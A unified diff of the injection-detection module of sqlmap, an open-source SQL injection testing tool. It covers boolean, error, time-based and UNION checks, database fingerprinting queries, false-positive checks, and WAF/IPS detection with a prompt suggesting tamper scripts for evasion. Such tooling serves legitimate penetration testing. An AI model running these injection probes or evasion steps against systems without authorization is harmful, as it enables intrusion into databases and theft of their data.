|
||||
from lib.core.decorators import cachedmethod
|
||||
from lib.core.decorators import stackedmethod
|
||||
from lib.core.dicts import FROM_DUMMY_TABLE
|
||||
from lib.core.enums import DBMS
|
||||
@@ -57,41 +63,38 @@ from lib.core.enums import HASHDB_KEYS
|
||||
from lib.core.enums import HEURISTIC_TEST
|
||||
from lib.core.enums import HTTP_HEADER
|
||||
from lib.core.enums import HTTPMETHOD
|
||||
from lib.core.enums import MKSTEMP_PREFIX
|
||||
from lib.core.enums import NOTE
|
||||
from lib.core.enums import NULLCONNECTION
|
||||
from lib.core.enums import PAYLOAD
|
||||
from lib.core.enums import PLACE
|
||||
from lib.core.enums import REDIRECTION
|
||||
from lib.core.enums import WEB_PLATFORM
|
||||
from lib.core.exception import SqlmapConnectionException
|
||||
from lib.core.exception import SqlmapDataException
|
||||
from lib.core.exception import SqlmapNoneDataException
|
||||
from lib.core.exception import SqlmapSilentQuitException
|
||||
from lib.core.exception import SqlmapSkipTargetException
|
||||
from lib.core.exception import SqlmapUserQuitException
|
||||
from lib.core.settings import BOUNDED_INJECTION_MARKER
|
||||
from lib.core.settings import CANDIDATE_SENTENCE_MIN_LENGTH
|
||||
from lib.core.settings import CHECK_INTERNET_ADDRESS
|
||||
from lib.core.settings import CHECK_INTERNET_VALUE
|
||||
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
|
||||
from lib.core.settings import DEV_EMAIL_ADDRESS
|
||||
from lib.core.settings import DUMMY_NON_SQLI_CHECK_APPENDIX
|
||||
from lib.core.settings import FI_ERROR_REGEX
|
||||
from lib.core.settings import FORMAT_EXCEPTION_STRINGS
|
||||
from lib.core.settings import HEURISTIC_CHECK_ALPHABET
|
||||
from lib.core.settings import IPS_WAF_CHECK_PAYLOAD
|
||||
from lib.core.settings import IDS_WAF_CHECK_PAYLOAD
|
||||
from lib.core.settings import IDS_WAF_CHECK_RATIO
|
||||
from lib.core.settings import IDS_WAF_CHECK_TIMEOUT
|
||||
from lib.core.settings import MAX_DIFFLIB_SEQUENCE_LENGTH
|
||||
from lib.core.settings import NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH
|
||||
from lib.core.settings import PRECONNECT_INCOMPATIBLE_SERVERS
|
||||
from lib.core.settings import SINGLE_QUOTE_MARKER
|
||||
from lib.core.settings import SLEEP_TIME_MARKER
|
||||
from lib.core.settings import SUHOSIN_MAX_VALUE_LENGTH
|
||||
from lib.core.settings import SUPPORTED_DBMS
|
||||
from lib.core.settings import UNICODE_ENCODING
|
||||
from lib.core.settings import URI_HTTP_HEADER
|
||||
from lib.core.settings import UPPER_RATIO_BOUND
|
||||
from lib.core.settings import INFERENCE_EQUALS_CHAR
|
||||
from lib.core.threads import getCurrentThreadData
|
||||
from lib.request.connect import Connect as Request
|
||||
from lib.request.comparison import comparison
|
||||
@@ -99,8 +102,6 @@ from lib.request.inject import checkBooleanExpression
|
||||
from lib.request.templates import getPageTemplate
|
||||
from lib.techniques.union.test import unionTest
|
||||
from lib.techniques.union.use import configUnion
|
||||
from thirdparty import six
|
||||
from thirdparty.six.moves import http_client as _http_client
|
||||
|
||||
def checkSqlInjection(place, parameter, value):
|
||||
# Store here the details about boundaries and payload used to
|
||||
@@ -244,18 +245,18 @@ def checkSqlInjection(place, parameter, value):
|
||||
# Skip tests if title, vector or DBMS is not included by the
|
||||
# given test filter
|
||||
if conf.testFilter and not any(conf.testFilter in str(item) or re.search(conf.testFilter, str(item), re.I) for item in (test.title, test.vector, payloadDbms)):
|
||||
debugMsg = "skipping test '%s' because its " % title
|
||||
debugMsg += "name/vector/DBMS is not included by the given filter"
|
||||
logger.debug(debugMsg)
|
||||
continue
|
||||
debugMsg = "skipping test '%s' because its " % title
|
||||
debugMsg += "name/vector/DBMS is not included by the given filter"
|
||||
logger.debug(debugMsg)
|
||||
continue
|
||||
|
||||
# Skip tests if title, vector or DBMS is included by the
|
||||
# given skip filter
|
||||
if conf.testSkip and any(conf.testSkip in str(item) or re.search(conf.testSkip, str(item), re.I) for item in (test.title, test.vector, payloadDbms)):
|
||||
debugMsg = "skipping test '%s' because its " % title
|
||||
debugMsg += "name/vector/DBMS is included by the given skip filter"
|
||||
logger.debug(debugMsg)
|
||||
continue
|
||||
debugMsg = "skipping test '%s' because its " % title
|
||||
debugMsg += "name/vector/DBMS is included by the given skip filter"
|
||||
logger.debug(debugMsg)
|
||||
continue
|
||||
|
||||
if payloadDbms is not None:
|
||||
# Skip DBMS-specific test if it does not match the user's
|
||||
@@ -337,16 +338,15 @@ def checkSqlInjection(place, parameter, value):
|
||||
match = re.search(r"(\d+)-(\d+)", test.request.columns)
|
||||
if match and not injection.data:
|
||||
_ = test.request.columns.split('-')[-1]
|
||||
if conf.uCols is None and _.isdigit():
|
||||
if conf.uCols is None and _.isdigit() and int(_) > 10:
|
||||
if kb.futileUnion is None:
|
||||
msg = "it is recommended to perform "
|
||||
msg += "only basic UNION tests if there is not "
|
||||
msg = "it is not recommended to perform "
|
||||
msg += "extended UNION tests if there is not "
|
||||
msg += "at least one other (potential) "
|
||||
msg += "technique found. Do you want to reduce "
|
||||
msg +="the number of requests? [Y/n] "
|
||||
kb.futileUnion = readInput(msg, default='Y', boolean=True)
|
||||
msg += "technique found. Do you want to skip? [Y/n] "
|
||||
kb.futileUnion = not readInput(msg, default='Y', boolean=True)
|
||||
|
||||
if kb.futileUnion and int(_) > 10:
|
||||
if kb.futileUnion is False:
|
||||
debugMsg = "skipping test '%s'" % title
|
||||
logger.debug(debugMsg)
|
||||
continue
|
||||
@@ -360,7 +360,7 @@ def checkSqlInjection(place, parameter, value):
|
||||
|
||||
# Parse test's <request>
|
||||
comment = agent.getComment(test.request) if len(conf.boundaries) > 1 else None
|
||||
fstPayload = agent.cleanupPayload(test.request.payload, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or "") else None)
|
||||
fstPayload = agent.cleanupPayload(test.request.payload, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) else None)
|
||||
|
||||
for boundary in boundaries:
|
||||
injectable = False
|
||||
@@ -422,14 +422,11 @@ def checkSqlInjection(place, parameter, value):
|
||||
templatePayload = None
|
||||
vector = None
|
||||
|
||||
origValue = value
|
||||
if kb.customInjectionMark in origValue:
|
||||
origValue = origValue.split(kb.customInjectionMark)[0]
|
||||
origValue = re.search(r"(\w*)\Z", origValue).group(1)
|
||||
|
||||
# Threat the parameter original value according to the
|
||||
# test's <where> tag
|
||||
if where == PAYLOAD.WHERE.ORIGINAL or conf.prefix:
|
||||
origValue = value
|
||||
|
||||
if kb.tamperFunctions:
|
||||
templatePayload = agent.payload(place, parameter, value="", newValue=origValue, where=where)
|
||||
elif where == PAYLOAD.WHERE.NEGATIVE:
|
||||
@@ -439,7 +436,7 @@ def checkSqlInjection(place, parameter, value):
|
||||
|
||||
if conf.invalidLogical:
|
||||
_ = int(kb.data.randomInt[:2])
|
||||
origValue = "%s AND %s LIKE %s" % (origValue, _, _ + 1)
|
||||
origValue = "%s AND %s LIKE %s" % (value, _, _ + 1)
|
||||
elif conf.invalidBignum:
|
||||
origValue = kb.data.randomInt[:6]
|
||||
elif conf.invalidString:
|
||||
@@ -474,13 +471,13 @@ def checkSqlInjection(place, parameter, value):
|
||||
# payload was successful
|
||||
# Parse test's <response>
|
||||
for method, check in test.response.items():
|
||||
check = agent.cleanupPayload(check, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or "") else None)
|
||||
check = agent.cleanupPayload(check, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) else None)
|
||||
|
||||
# In case of boolean-based blind SQL injection
|
||||
if method == PAYLOAD.METHOD.COMPARISON:
|
||||
# Generate payload used for comparison
|
||||
def genCmpPayload():
|
||||
sndPayload = agent.cleanupPayload(test.response.comparison, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or "") else None)
|
||||
sndPayload = agent.cleanupPayload(test.response.comparison, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) else None)
|
||||
|
||||
# Forge response payload by prepending with
|
||||
# boundary's prefix and appending the boundary's
|
||||
@@ -492,31 +489,14 @@ def checkSqlInjection(place, parameter, value):
|
||||
|
||||
return cmpPayload
|
||||
|
||||
# Useful to set kb.matchRatio at first based on False response content
|
||||
# Useful to set kb.matchRatio at first based on
|
||||
# the False response content
|
||||
kb.matchRatio = None
|
||||
kb.negativeLogic = (where == PAYLOAD.WHERE.NEGATIVE)
|
||||
Request.queryPage(genCmpPayload(), place, raise404=False)
|
||||
falsePage, falseHeaders, falseCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode
|
||||
falseRawResponse = "%s%s" % (falseHeaders, falsePage)
|
||||
|
||||
# Checking if there is difference between current FALSE, original and heuristics page (i.e. not used parameter)
|
||||
if not kb.negativeLogic:
|
||||
try:
|
||||
ratio = 1.0
|
||||
seqMatcher = getCurrentThreadData().seqMatcher
|
||||
|
||||
for current in (kb.originalPage, kb.heuristicPage):
|
||||
seqMatcher.set_seq1(current or "")
|
||||
seqMatcher.set_seq2(falsePage or "")
|
||||
ratio *= seqMatcher.quick_ratio()
|
||||
|
||||
if ratio == 1.0:
|
||||
continue
|
||||
except (MemoryError, OverflowError):
|
||||
pass
|
||||
|
||||
kb.prevFalsePage = falsePage
|
||||
|
||||
# Perform the test's True request
|
||||
trueResult = Request.queryPage(reqPayload, place, raise404=False)
|
||||
truePage, trueHeaders, trueCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode
|
||||
@@ -537,7 +517,7 @@ def checkSqlInjection(place, parameter, value):
|
||||
continue
|
||||
elif kb.heuristicPage and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
|
||||
_ = comparison(kb.heuristicPage, None, getRatioValue=True)
|
||||
if (_ or 0) > (kb.matchRatio or 0):
|
||||
if _ > kb.matchRatio:
|
||||
kb.matchRatio = _
|
||||
logger.debug("adjusting match ratio for current parameter to %.3f" % kb.matchRatio)
|
||||
|
||||
@@ -547,7 +527,7 @@ def checkSqlInjection(place, parameter, value):
|
||||
|
||||
injectable = True
|
||||
|
||||
elif (threadData.lastComparisonRatio or 0) > UPPER_RATIO_BOUND and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
|
||||
elif threadData.lastComparisonRatio > UPPER_RATIO_BOUND and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
|
||||
originalSet = set(getFilteredPageContent(kb.pageTemplate, True, "\n").split("\n"))
|
||||
trueSet = set(getFilteredPageContent(truePage, True, "\n").split("\n"))
|
||||
falseSet = set(getFilteredPageContent(falsePage, True, "\n").split("\n"))
|
||||
@@ -561,13 +541,13 @@ def checkSqlInjection(place, parameter, value):
|
||||
candidates = trueSet - falseSet - errorSet
|
||||
|
||||
if candidates:
|
||||
candidates = sorted(candidates, key=len)
|
||||
candidates = sorted(candidates, key=lambda _: len(_))
|
||||
for candidate in candidates:
|
||||
if re.match(r"\A[\w.,! ]+\Z", candidate) and ' ' in candidate and candidate.strip() and len(candidate) > CANDIDATE_SENTENCE_MIN_LENGTH:
|
||||
conf.string = candidate
|
||||
injectable = True
|
||||
|
||||
infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.string).lstrip('u').strip("'"))
|
||||
infoMsg = "%s parameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % (paramType, parameter, title, repr(conf.string).lstrip('u').strip("'"))
|
||||
logger.info(infoMsg)
|
||||
|
||||
break
|
||||
@@ -577,7 +557,7 @@ def checkSqlInjection(place, parameter, value):
|
||||
if all((falseCode, trueCode)) and falseCode != trueCode:
|
||||
conf.code = trueCode
|
||||
|
||||
infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --code=%d)" % ("%s " % paramType if paramType != parameter else "", parameter, title, conf.code)
|
||||
infoMsg = "%s parameter '%s' appears to be '%s' injectable (with --code=%d)" % (paramType, parameter, title, conf.code)
|
||||
logger.info(infoMsg)
|
||||
else:
|
||||
trueSet = set(extractTextTagContent(trueRawResponse))
|
||||
@@ -592,35 +572,35 @@ def checkSqlInjection(place, parameter, value):
|
||||
else:
|
||||
errorSet = set()
|
||||
|
||||
candidates = filterNone(_.strip() if _.strip() in trueRawResponse and _.strip() not in falseRawResponse else None for _ in (trueSet - falseSet - errorSet))
|
||||
candidates = filter(None, (_.strip() if _.strip() in trueRawResponse and _.strip() not in falseRawResponse else None for _ in (trueSet - falseSet - errorSet)))
|
||||
|
||||
if candidates:
|
||||
candidates = sorted(candidates, key=len)
|
||||
candidates = sorted(candidates, key=lambda _: len(_))
|
||||
for candidate in candidates:
|
||||
if re.match(r"\A\w+\Z", candidate):
|
||||
break
|
||||
|
||||
conf.string = candidate
|
||||
|
||||
infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.string).lstrip('u').strip("'"))
|
||||
infoMsg = "%s parameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % (paramType, parameter, title, repr(conf.string).lstrip('u').strip("'"))
|
||||
logger.info(infoMsg)
|
||||
|
||||
if not any((conf.string, conf.notString)):
|
||||
candidates = filterNone(_.strip() if _.strip() in falseRawResponse and _.strip() not in trueRawResponse else None for _ in (falseSet - trueSet))
|
||||
candidates = filter(None, (_.strip() if _.strip() in falseRawResponse and _.strip() not in trueRawResponse else None for _ in (falseSet - trueSet)))
|
||||
|
||||
if candidates:
|
||||
candidates = sorted(candidates, key=len)
|
||||
candidates = sorted(candidates, key=lambda _: len(_))
|
||||
for candidate in candidates:
|
||||
if re.match(r"\A\w+\Z", candidate):
|
||||
break
|
||||
|
||||
conf.notString = candidate
|
||||
|
||||
infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --not-string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.notString).lstrip('u').strip("'"))
|
||||
infoMsg = "%s parameter '%s' appears to be '%s' injectable (with --not-string=\"%s\")" % (paramType, parameter, title, repr(conf.notString).lstrip('u').strip("'"))
|
||||
logger.info(infoMsg)
|
||||
|
||||
if not any((conf.string, conf.notString, conf.code)):
|
||||
infoMsg = "%sparameter '%s' appears to be '%s' injectable " % ("%s " % paramType if paramType != parameter else "", parameter, title)
|
||||
infoMsg = "%s parameter '%s' appears to be '%s' injectable " % (paramType, parameter, title)
|
||||
singleTimeLogMessage(infoMsg)
|
||||
|
||||
# In case of error-based SQL injection
|
||||
@@ -631,22 +611,22 @@ def checkSqlInjection(place, parameter, value):
|
||||
page, headers, _ = Request.queryPage(reqPayload, place, content=True, raise404=False)
|
||||
output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE)
|
||||
output = output or extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None, re.DOTALL | re.IGNORECASE)
|
||||
output = output or extractRegexResult(check, listToStrValue((headers[key] for key in headers if key.lower() != URI_HTTP_HEADER.lower()) if headers else None), re.DOTALL | re.IGNORECASE)
|
||||
output = output or extractRegexResult(check, listToStrValue((headers[key] for key in headers.keys() if key.lower() != URI_HTTP_HEADER.lower()) if headers else None), re.DOTALL | re.IGNORECASE)
|
||||
output = output or extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)
|
||||
|
||||
if output:
|
||||
result = output == "1"
|
||||
|
||||
if result:
|
||||
infoMsg = "%sparameter '%s' is '%s' injectable " % ("%s " % paramType if paramType != parameter else "", parameter, title)
|
||||
infoMsg = "%s parameter '%s' is '%s' injectable " % (paramType, parameter, title)
|
||||
logger.info(infoMsg)
|
||||
|
||||
injectable = True
|
||||
|
||||
except SqlmapConnectionException as ex:
|
||||
except SqlmapConnectionException, msg:
|
||||
debugMsg = "problem occurred most likely because the "
|
||||
debugMsg += "server hasn't recovered as expected from the "
|
||||
debugMsg += "error-based payload used ('%s')" % getSafeExString(ex)
|
||||
debugMsg += "error-based payload used ('%s')" % msg
|
||||
logger.debug(debugMsg)
|
||||
|
||||
# In case of time-based blind or stacked queries
|
||||
@@ -667,7 +647,7 @@ def checkSqlInjection(place, parameter, value):
|
||||
trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False)
|
||||
|
||||
if trueResult:
|
||||
infoMsg = "%sparameter '%s' appears to be '%s' injectable " % ("%s " % paramType if paramType != parameter else "", parameter, title)
|
||||
infoMsg = "%s parameter '%s' appears to be '%s' injectable " % (paramType, parameter, title)
|
||||
logger.info(infoMsg)
|
||||
|
||||
injectable = True
|
||||
@@ -705,8 +685,8 @@ def checkSqlInjection(place, parameter, value):
|
||||
# Test for UNION query SQL injection
|
||||
reqPayload, vector = unionTest(comment, place, parameter, value, prefix, suffix)
|
||||
|
||||
if isinstance(reqPayload, six.string_types):
|
||||
infoMsg = "%sparameter '%s' is '%s' injectable" % ("%s " % paramType if paramType != parameter else "", parameter, title)
|
||||
if isinstance(reqPayload, basestring):
|
||||
infoMsg = "%s parameter '%s' is '%s' injectable" % (paramType, parameter, title)
|
||||
logger.info(infoMsg)
|
||||
|
||||
injectable = True
|
||||
@@ -879,8 +859,8 @@ def heuristicCheckDbms(injection):
|
||||
if conf.noEscape and dbms not in FROM_DUMMY_TABLE:
|
||||
continue
|
||||
|
||||
if checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr1, SINGLE_QUOTE_MARKER)):
|
||||
if not checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr2, SINGLE_QUOTE_MARKER)):
|
||||
if checkBooleanExpression("(SELECT '%s'%s)='%s'" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), randStr1)):
|
||||
if not checkBooleanExpression("(SELECT '%s'%s)='%s'" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), randStr2)):
|
||||
retVal = dbms
|
||||
break
|
||||
|
||||
@@ -926,26 +906,27 @@ def checkFalsePositives(injection):
|
||||
if randInt3 > randInt2 > randInt1:
|
||||
break
|
||||
|
||||
if not checkBooleanExpression("%d%s%d" % (randInt1, INFERENCE_EQUALS_CHAR, randInt1)):
|
||||
if not checkBooleanExpression("%d=%d" % (randInt1, randInt1)):
|
||||
retVal = False
|
||||
break
|
||||
|
||||
# Just in case if DBMS hasn't properly recovered from previous delayed request
|
||||
if PAYLOAD.TECHNIQUE.BOOLEAN not in injection.data:
|
||||
checkBooleanExpression("%d%s%d" % (randInt1, INFERENCE_EQUALS_CHAR, randInt2)) # just in case if DBMS hasn't properly recovered from previous delayed request
|
||||
checkBooleanExpression("%d=%d" % (randInt1, randInt2))
|
||||
|
||||
if checkBooleanExpression("%d%s%d" % (randInt1, INFERENCE_EQUALS_CHAR, randInt3)): # this must not be evaluated to True
|
||||
if checkBooleanExpression("%d=%d" % (randInt1, randInt3)): # this must not be evaluated to True
|
||||
retVal = False
|
||||
break
|
||||
|
||||
elif checkBooleanExpression("%d%s%d" % (randInt3, INFERENCE_EQUALS_CHAR, randInt2)): # this must not be evaluated to True
|
||||
elif checkBooleanExpression("%d=%d" % (randInt3, randInt2)): # this must not be evaluated to True
|
||||
retVal = False
|
||||
break
|
||||
|
||||
elif not checkBooleanExpression("%d%s%d" % (randInt2, INFERENCE_EQUALS_CHAR, randInt2)): # this must be evaluated to True
|
||||
elif not checkBooleanExpression("%d=%d" % (randInt2, randInt2)): # this must be evaluated to True
|
||||
retVal = False
|
||||
break
|
||||
|
||||
elif checkBooleanExpression("%d %d" % (randInt3, randInt2)): # this must not be evaluated to True (invalid statement)
|
||||
elif checkBooleanExpression("%d %d" % (randInt3, randInt2)): # this must not be evaluated to True (invalid statement)
|
||||
retVal = False
|
||||
break
|
||||
|
||||
@@ -1045,7 +1026,8 @@ def heuristicCheckSqlInjection(place, parameter):
|
||||
parseFilePaths(page)
|
||||
result = wasLastResponseDBMSError()
|
||||
|
||||
infoMsg = "heuristic (basic) test shows that %sparameter '%s' might " % ("%s " % paramType if paramType != parameter else "", parameter)
|
||||
infoMsg = "heuristic (basic) test shows that %s parameter " % paramType
|
||||
infoMsg += "'%s' might " % parameter
|
||||
|
||||
def _(page):
|
||||
return any(_ in (page or "") for _ in FORMAT_EXCEPTION_STRINGS)
|
||||
@@ -1067,19 +1049,9 @@ def heuristicCheckSqlInjection(place, parameter):
|
||||
kb.heuristicTest = HEURISTIC_TEST.CASTED if casting else HEURISTIC_TEST.NEGATIVE if not result else HEURISTIC_TEST.POSITIVE
|
||||
|
||||
if casting:
|
||||
errMsg = "possible %s casting detected (e.g. '" % ("integer" if origValue.isdigit() else "type")
|
||||
|
||||
platform = conf.url.split('.')[-1].lower()
|
||||
if platform == WEB_PLATFORM.ASP:
|
||||
errMsg += "%s=CInt(request.querystring(\"%s\"))" % (parameter, parameter)
|
||||
elif platform == WEB_PLATFORM.ASPX:
|
||||
errMsg += "int.TryParse(Request.QueryString[\"%s\"], out %s)" % (parameter, parameter)
|
||||
elif platform == WEB_PLATFORM.JSP:
|
||||
errMsg += "%s=Integer.parseInt(request.getParameter(\"%s\"))" % (parameter, parameter)
|
||||
else:
|
||||
errMsg += "$%s=intval($_REQUEST[\"%s\"])" % (parameter, parameter)
|
||||
|
||||
errMsg += "') at the back-end web application"
|
||||
errMsg = "possible %s casting " % ("integer" if origValue.isdigit() else "type")
|
||||
errMsg += "detected (e.g. \"$%s=intval($_REQUEST['%s'])\") " % (parameter, parameter)
|
||||
errMsg += "at the back-end web application"
|
||||
logger.error(errMsg)
|
||||
|
||||
if kb.ignoreCasted is None:
|
||||
@@ -1107,12 +1079,14 @@ def heuristicCheckSqlInjection(place, parameter):
|
||||
paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place
|
||||
|
||||
if value.lower() in (page or "").lower():
|
||||
infoMsg = "heuristic (XSS) test shows that %sparameter '%s' might be vulnerable to cross-site scripting (XSS) attacks" % ("%s " % paramType if paramType != parameter else "", parameter)
|
||||
infoMsg = "heuristic (XSS) test shows that %s parameter " % paramType
|
||||
infoMsg += "'%s' might be vulnerable to cross-site scripting (XSS) attacks" % parameter
|
||||
logger.info(infoMsg)
|
||||
|
||||
for match in re.finditer(FI_ERROR_REGEX, page or ""):
|
||||
if randStr1.lower() in match.group(0).lower():
|
||||
infoMsg = "heuristic (FI) test shows that %sparameter '%s' might be vulnerable to file inclusion (FI) attacks" % ("%s " % paramType if paramType != parameter else "", parameter)
|
||||
infoMsg = "heuristic (FI) test shows that %s parameter " % paramType
|
||||
infoMsg += "'%s' might be vulnerable to file inclusion (FI) attacks" % parameter
|
||||
logger.info(infoMsg)
|
||||
break
|
||||
|
||||
@@ -1136,12 +1110,20 @@ def checkDynParam(place, parameter, value):
|
||||
|
||||
paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place
|
||||
|
||||
infoMsg = "testing if %sparameter '%s' is dynamic" % ("%s " % paramType if paramType != parameter else "", parameter)
|
||||
infoMsg = "testing if %s parameter '%s' is dynamic" % (paramType, parameter)
|
||||
logger.info(infoMsg)
|
||||
|
||||
try:
|
||||
payload = agent.payload(place, parameter, value, getUnicode(randInt))
|
||||
dynResult = Request.queryPage(payload, place, raise404=False)
|
||||
|
||||
if not dynResult:
|
||||
infoMsg = "confirming that %s parameter '%s' is dynamic" % (paramType, parameter)
|
||||
logger.info(infoMsg)
|
||||
|
||||
randInt = randomInt()
|
||||
payload = agent.payload(place, parameter, value, getUnicode(randInt))
|
||||
dynResult = Request.queryPage(payload, place, raise404=False)
|
||||
except SqlmapConnectionException:
|
||||
pass
|
||||
|
||||
@@ -1346,9 +1328,6 @@ def checkWaf():
|
||||
if any((conf.string, conf.notString, conf.regexp, conf.dummy, conf.offline, conf.skipWaf)):
|
||||
return None
|
||||
|
||||
if kb.originalCode == _http_client.NOT_FOUND:
|
||||
return None
|
||||
|
||||
_ = hashDBRetrieve(HASHDB_KEYS.CHECK_WAF_RESULT, True)
|
||||
if _ is not None:
|
||||
if _:
|
||||
@@ -1365,7 +1344,7 @@ def checkWaf():
|
||||
logger.info(infoMsg)
|
||||
|
||||
retVal = False
|
||||
payload = "%d %s" % (randomInt(), IPS_WAF_CHECK_PAYLOAD)
|
||||
payload = "%d %s" % (randomInt(), IDS_WAF_CHECK_PAYLOAD)
|
||||
|
||||
if PLACE.URI in conf.parameters:
|
||||
place = PLACE.POST
|
||||
@@ -1376,42 +1355,123 @@ def checkWaf():
|
||||
value += "%s=%s" % (randomStr(), agent.addPayloadDelimiters(payload))
|
||||
|
||||
pushValue(kb.redirectChoice)
|
||||
pushValue(kb.resendPostOnRedirect)
|
||||
pushValue(conf.timeout)
|
||||
|
||||
kb.redirectChoice = REDIRECTION.YES
|
||||
kb.resendPostOnRedirect = False
|
||||
conf.timeout = IDS_WAF_CHECK_TIMEOUT
|
||||
|
||||
try:
|
||||
retVal = (Request.queryPage(place=place, value=value, getRatioValue=True, noteResponseTime=False, silent=True, disableTampering=True)[1] or 0) < IDS_WAF_CHECK_RATIO
|
||||
retVal = Request.queryPage(place=place, value=value, getRatioValue=True, noteResponseTime=False, silent=True, disableTampering=True)[1] < IDS_WAF_CHECK_RATIO
|
||||
except SqlmapConnectionException:
|
||||
retVal = True
|
||||
finally:
|
||||
kb.matchRatio = None
|
||||
|
||||
conf.timeout = popValue()
|
||||
kb.resendPostOnRedirect = popValue()
|
||||
kb.redirectChoice = popValue()
|
||||
|
||||
if retVal:
|
||||
warnMsg = "heuristics detected that the target "
|
||||
warnMsg += "is protected by some kind of WAF/IPS"
|
||||
logger.critical(warnMsg)
|
||||
|
||||
if not conf.identifyWaf:
|
||||
message = "do you want sqlmap to try to detect backend "
|
||||
message += "WAF/IPS? [y/N] "
|
||||
|
||||
if readInput(message, default='N', boolean=True):
|
||||
conf.identifyWaf = True
|
||||
|
||||
if conf.timeout == defaults.timeout:
|
||||
logger.warning("dropping timeout to %d seconds (i.e. '--timeout=%d')" % (IDS_WAF_CHECK_TIMEOUT, IDS_WAF_CHECK_TIMEOUT))
|
||||
conf.timeout = IDS_WAF_CHECK_TIMEOUT
|
||||
|
||||
hashDBWrite(HASHDB_KEYS.CHECK_WAF_RESULT, retVal, True)
|
||||
|
||||
return retVal
|
||||
|
||||
@stackedmethod
|
||||
def identifyWaf():
|
||||
if not conf.identifyWaf:
|
||||
return None
|
||||
|
||||
if not kb.wafFunctions:
|
||||
setWafFunctions()
|
||||
|
||||
kb.testMode = True
|
||||
|
||||
infoMsg = "using WAF scripts to detect "
|
||||
infoMsg += "backend WAF/IPS protection"
|
||||
logger.info(infoMsg)
|
||||
|
||||
@cachedmethod
|
||||
def _(*args, **kwargs):
|
||||
page, headers, code = None, None, None
|
||||
try:
|
||||
pushValue(kb.redirectChoice)
|
||||
kb.redirectChoice = REDIRECTION.NO
|
||||
if kwargs.get("get"):
|
||||
kwargs["get"] = urlencode(kwargs["get"])
|
||||
kwargs["raise404"] = False
|
||||
kwargs["silent"] = True
|
||||
page, headers, code = Request.getPage(*args, **kwargs)
|
||||
except Exception:
|
||||
pass
|
||||
finally:
|
||||
kb.redirectChoice = popValue()
|
||||
return page or "", headers or {}, code
|
||||
|
||||
retVal = []
|
||||
|
||||
for function, product in kb.wafFunctions:
|
||||
if retVal and "unknown" in product.lower():
|
||||
continue
|
||||
|
||||
try:
|
||||
logger.debug("checking for WAF/IPS product '%s'" % product)
|
||||
found = function(_)
|
||||
except Exception, ex:
|
||||
errMsg = "exception occurred while running "
|
||||
errMsg += "WAF script for '%s' ('%s')" % (product, getSafeExString(ex))
|
||||
logger.critical(errMsg)
|
||||
|
||||
found = False
|
||||
|
||||
if found:
|
||||
errMsg = "WAF/IPS identified as '%s'" % product
|
||||
logger.critical(errMsg)
|
||||
|
||||
retVal.append(product)
|
||||
|
||||
if retVal:
|
||||
if not kb.identifiedWafs:
|
||||
warnMsg = "heuristics detected that the target "
|
||||
warnMsg += "is protected by some kind of WAF/IPS"
|
||||
logger.critical(warnMsg)
|
||||
if kb.wafSpecificResponse and "You don't have permission to access" not in kb.wafSpecificResponse and len(retVal) == 1 and "unknown" in retVal[0].lower():
|
||||
handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.SPECIFIC_RESPONSE)
|
||||
os.close(handle)
|
||||
with openFile(filename, "w+b") as f:
|
||||
f.write(kb.wafSpecificResponse)
|
||||
|
||||
message = "WAF/IPS specific response can be found in '%s'. " % filename
|
||||
message += "If you know the details on used protection please "
|
||||
message += "report it along with specific response "
|
||||
message += "to '%s'" % DEV_EMAIL_ADDRESS
|
||||
logger.warn(message)
|
||||
|
||||
message = "are you sure that you want to "
|
||||
message += "continue with further target testing? [Y/n] "
|
||||
choice = readInput(message, default='Y', boolean=True)
|
||||
message += "continue with further target testing? [y/N] "
|
||||
choice = readInput(message, default='N', boolean=True)
|
||||
|
||||
if not conf.tamper:
|
||||
warnMsg = "please consider usage of tamper scripts (option '--tamper')"
|
||||
singleTimeWarnMessage(warnMsg)
|
||||
|
||||
if not choice:
|
||||
raise SqlmapUserQuitException
|
||||
else:
|
